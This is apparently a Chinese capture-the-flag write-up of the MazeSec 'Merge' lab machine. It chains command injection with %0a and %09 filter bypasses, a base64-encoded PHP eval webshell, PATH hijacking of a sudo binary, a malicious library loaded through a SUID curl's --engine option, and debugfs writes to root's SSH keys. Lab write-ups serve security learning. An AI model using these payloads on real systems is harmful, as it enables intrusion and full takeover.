MazeSec靶机-Merge-WriteUp
信息收集
先扫端口:
一个ip查询服务
web shell
经过测试过滤了以下字符:
1 | ` |
当输入*提示:
似乎是从本地读取数据缓存的
输入~时提示:
发现../../*可以枚举目录:
可以发现:
nali是一个查询IP地理信息和CDN提供商的离线终端工具
https://github.com/zu1k/nali
推测后端是这样的形式:
1 | nali [cmd] |
同时得知存在以下用户
1 | admin |

读取一些基本信息
这边本来是想着看nali有没有什么可以执行命令的参数,但是突然想起来常见命令分隔符被过滤了,但是可以用%0a来换行
1 | %0awhoami |

空格过滤可以用%09来绕
为了拿一个稳定的shell,可以写一句话木马,因为很多字符被过滤了,这里我选择的方法是:
1 | php -r 'if(file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+IA=="))){}' |
利用php -r执行php代码写入webshell,但是由于分号被过滤,正常执行会提示:”PHP Parse error: syntax error, unexpected token “<”, expecting end of file in Command line code on line 1”,此处我通过if(xxx){}来进行了规避。
执行后连上webshell:
root Shell(非预期)
同样的存在非预期CVE-2026-43494
user shell(mono)
在/opt/pass.txt发现账密:
ssh连接获得user shell(momo)
user shell(lnnn)
执行sudo -l发现:
直接执行/opt/Dirty-Merge/dirty_merge拿到的是假root,实际非root权限
可以以lnnn的身份执行/opt/Dirty-Merge/dirty_merge,应该是需要横向,同时可以注意到env_keep+=PATH, !secure_path,观察c源码发现:

使用了非绝对路径的ip命令,存在环境变量注入的可能,先生成一对ssh密钥:
1 | ssh-keygen -t ed25519 |
创建一个/tmp/ip:
1 |
|
添加环境变量:
1 | PATH=/tmp:$PATH |
执行
1 | sudo -u lnnn /opt/Dirty-Merge/dirty_merge |
拿私钥切成lnnn账户
1 | ssh -i /tmp/id_ed25519 lnnn@127.0.0.1 |

获得user flag:
1 | flag{user-b67448e8af484d5f8958f307b3d57f09} |

user shell(admin)
在/opt/admin发现
一个有suid的curl,应该可以借助它横向到adminhint.txt的内容是:
1 | 关注详细的参数帮助信息 |
可以通过--engine参数加载恶意库,具体如下:
先创建c文件:
1 |
|
编译:
1 | gcc -shared -fPIC -o evil.so evil.c |
调用执行:
1 | /opt/admin/curl --engine /tmp/evil.so x |
获取admin shell
root shell
在/home/admin/hint.txt提示:”man,what can i do”
发现admin可写/etc/group
把lnnn用户添加到disk组中,利用disk group给root写ssh公钥进行提权,重新登录lnnn

查看分区情况
1 | df -h |

/dev/sda1是挂载根系统的磁盘,利用debugfs进行读写
1 | /usr/sbin/debugfs -w -R "rm /root/.ssh/authorized_keys" /dev/sda1 |
然后拿ssh私钥直接登录即可:
1 | ssh -i /tmp/id_ed25519 root@127.0.0.1 |

1 | flag{root-1b5f527b85d84d80816879c8044b0ea9} |
此外还有更简单的办法,只需要给/etc/group的sudo组加上mono,就可以直接通过sudo su提权了
